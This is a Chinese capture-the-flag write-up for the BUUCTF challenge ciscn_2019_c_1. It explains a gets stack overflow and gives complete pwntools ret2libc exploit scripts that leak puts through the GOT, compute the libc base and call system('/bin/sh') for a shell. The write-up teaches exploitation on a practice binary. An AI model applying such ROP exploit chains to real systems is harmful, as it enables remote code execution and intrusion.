首页 > 其他分享 >[BUUCTF]ciscn_2019_c_1

[BUUCTF]ciscn_2019_c_1

时间:2024-04-08 21:59:14浏览次数:28  
标签:BUUCTF addr puts p64 函数 libc 2019 payload ciscn

 0.环境

Ubantu-22.04.4

1. 查看文件格式

终端中输入命令

checksec --file='filename'        # filename为下载文件的自定义名称

输出结果为

没开canary保护,开了NX

终端中输入命令

file 'filename'

 输出为

64位,放到ida64里反编译

2.IDA分析程序

 1.main函数

 没什么能构造溢出的函数。再看看encrypt和begin函数

2.begin函数

 也没有构造溢出的函数,但是有很多puts,很好后面ret2libc可以用

3.encrypt函数

 有gets了,nice。gets栈大小为50h

while循环为加密字符串的过程,为了避免payload被加密而产生变化,需要在开头加上'\0'

4.查看字符串和函数列表

按”shift+F12“查看字符串

没有‘system’,‘bin/sh’等有用的字符串,函数列表里也没有system等后门函数

3. 分析思路

该程序中并没有system,bin/sh等有用的字符串,无法使用ret2text

没有调用system函数,无法使用ret2syscall

只能用ret2libc

通过已经调用过的函数泄露它在程序中的地址,然后利用地址末尾的3个字节,在https://libc.blukat.me找到该程序所用的libc版本

程序函数地址=加载程序的基址+libc中函数偏移量

想办法通过encrypt函数的 get函数栈溢出获得其中一个函数的地址(本题选择puts),通过LibcSearcher得到该函数在对应libc中的偏移量

即可得到加载程序的基址

4.构造exp

64位先使用寄存器RDI、RSI、RDX、RCX、R8、R9进行传参,如果多于6个参数,则再使用栈进行传参

直接上脚本

from pwn import*
from LibcSearcher import *
r=remote('')  # 填自己的端口号
elf=ELF("filename")  # 填自己的文件名

main_addr=0x400B28
rdi=0x400c83
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

r.sendlineafter(b'Input your choice!\n', b'1')

offset = 0x50+8-1
payload = b'\0' + b"a" * offset+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
r.sendlineafter(b'Input your Plaintext to be encrypted\n', payload)
r.recvuntil("Ciphertext\n")
r.recvuntil("\n")

puts_addr=u64(r.recv(6).ljust(0x8,b"\x00"))
libc=LibcSearcher("puts",puts_addr)
libcbase=addr-libc.dump("puts")
print(libcbase)

解释一下上面的脚本

main_addr:通过IDA64即可查看main函数的起始地址为0x400B28

rdi:可通过使用ROPgadget工具进行查找,可得地址为 0x400c83

ROPgadget  --binary 'filename' |grep "pop rdi"  # filename填自己的文件名

 puts_plt,puts_got:通过ELF程序获取

综合前文IDA分析的结果,第一个payload的结构为

payload = b'\0' + b"a" * offset + p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)

使用 puts_addr=u64(r.recv(6).ljust(0x8,b"\x00")) 接收puts函数的地址

得到puts函数的地址后,使用LibcSearcher查询对应的libc版本

libc=LibcSearcher("puts",puts_addr)

 

运行结果为

 

得到基地址

接下来继续构造 ,直接上最终脚本

#encoding = utf-8
from pwn import*
from LibcSearcher import *
r=remote('')  #填自己的端口号
elf=ELF("") #填自己的文件名


main_addr=0x400B28
rdi=0x400c83
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

r.sendlineafter(b'Input your choice!\n', b'1')

offset = 0x50+8-1
payload = b'\0' + b"a" * offset+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
r.sendlineafter(b'Input your Plaintext to be encrypted\n', payload)
r.recvuntil("Ciphertext\n")
r.recvuntil("\n")

puts_addr=u64(r.recv(6).ljust(0x8,b"\x00"))
libc=LibcSearcher("puts",puts_addr)
libcbase=puts_addr-libc.dump("puts")
print(libcbase)

r.recv()
r.sendline(b"1")
r.recvuntil(b"encrypted\n")
sys_addr=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
ret=0x4006b9
p1=b'\0' + b"a" * offset + p64(ret)+p64(rdi)+p64(bin_sh)+p64(sys_addr)
r.sendline(p1)
r.interactive()

通过 程序函数地址=加载程序的及地址+libc中函数偏移量 可以计算加载程序的基址,通过基址和各个函数以及字符串的偏移量可以计算各个函数以及字符串在程序中的地址,如下:

sys_addr=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')

对于调用system函数,需要考虑堆栈平衡。使用ret指令来实现堆栈平衡(ret指令执行之前会自动进行堆栈平衡操作)

p1=b'\0' + b"a" * offset
payload += p64(ret))	   #堆栈平衡
payload += p64(rdi)	       #将system函数的参数保存到rdi中
payload += p64(bin_sh)	   #pop指令的执行的操作数
payload += p64(sys_addr)  #调用system函数获得shell

运行结果为

 

标签:BUUCTF,addr,puts,p64,函数,libc,2019,payload,ciscn
From: https://blog.csdn.net/Lucien_Carr/article/details/137481503

相关文章

  • buuctf[ACTF2020 新生赛]BackupFile
    看题目的名称和首页的提升不难拆到这是一题关于网站页面备份的题目。直接访问index.php.bak,就可以得到一个文件,把文件打开可以得到一串PHP代码<?phpinclude_once"flag.php";if(isset($_GET['key'])){$key=$_GET['key'];if(!is_numeric($key)){e......
  • [ASIS 2019]Unicorn shop
    [ASIS2019]Unicornshop打开环境是一个购买独角兽的页面按照表格里的内容输入前三个独角兽的ID和价格,都会操作失败只有输入第4个的时候,提示只能输入一个字符这里利用的漏洞是unicode安全问题,是关于Unionde等价性的漏洞这里由于只能输入一个字符,所以这里利用了utf-8编码。......
  • buuctf-misc-刷新过的图片
    解压后发现是张图片按照之前图片题的思路,我们依次检查了图片属性、图片十六进制、LSB隐写,都没有发现隐藏信息也尝试了之前做过的题buuctf-misc-九连环中的隐写方法steghide,都没有发现隐藏信息那么这道题其实用的是另一种隐写方式F5隐写用到的工具F5-steganography将Misc.j......
  • VS2019+open CV4.5.5的配置
    1.去openCV的官网下载对应版本:OpenCV-OpenComputerVisionLibrary2.右击此电脑--属性--高级系统设置--环境变量--点击变量Path的右边进行新建分别输入:D:\opencv\opencv\build\x64\vc15\binD:\opencv\opencv\build\x64\vc14\bin%OPENCV_DIR%\bin3.打开op......
  • vs2019托管调试助手 "ContextSwitchDeadlock"错误
     错误描述托管调试助手"ContextSwitchDeadlock":“CLR无法从COM上下文0xd183e0转换为COM上下文0xd18328,这种状态已持续60秒。拥有目标上下文/单元的线程很有可能执行的是非泵式等待或者在不发送Windows消息的情况下处理一个运行时间非常长的操作。这种情况通常会......
  • 【Web】纯萌新的CISCN刷题记录(1)
    目录[CISCN2019华东南]Web11[CISCN2019华北Day2]Web1[CISCN2019初赛]LoveMath[CISCN2022初赛]ezpop[CISCN2019华东南]DoubleSecret[CISCN2023华北]ez_date[CISCN2019华北Day1]Web1[CISCN2019华东南]Web4[CISCN2019华北Day1]Web2 [CISCN2023西南]do_y......
  • Calandar(2019山东省大学生程序设计竞赛)
    #include<bits/stdc++.h>#defineendl'\n'usingll=longlong;typedefunsignedlonglongull;usingnamespacestd;voidGordenGhost();map<string,int>mp;signedmain(){#ifdefGordenfreopen("in.txt","rt"......
  • [强网杯 2019]高明的黑客
    [强网杯2019]高明的黑客按照提示下载了www.tar.gz这个文件,解压后发现有三千多个php文件打开其中一个进行代码审计。认真看这些文件都是getshell文件。能把传入的变量执行系统命令。不过不可能都是有用的,随便打开几个会发现,传入的变量都变为空了,所以基本上无效。编写pyt......
  • buuctf-misc-荷兰宽带数据泄露
    解压后是个conf.bin文件,010editor打开没有发现什么隐藏信息、熟悉的文件头之后了解到一个新工具,RouterPassView这是下载地址:https://www.nirsoft.net/utils/router_password_recovery.html可以同时下载到中文翻译包利用这个工具打开conf.bin搜索flag、username、password等......
  • buuctf-misc-九连环
    解压后发现一张图片,详细信息里面没内容,用010editor打开发现图片后面隐藏了一个压缩包,提取出压缩包压缩包其中一个文件加密了,再用010editor打开,将目录区的01改为00去除伪加密解压,得到一张图片与一个压缩包,压缩包有密码,试了不是伪加密那么只能从图片入手了,详细信息没有内容,十六......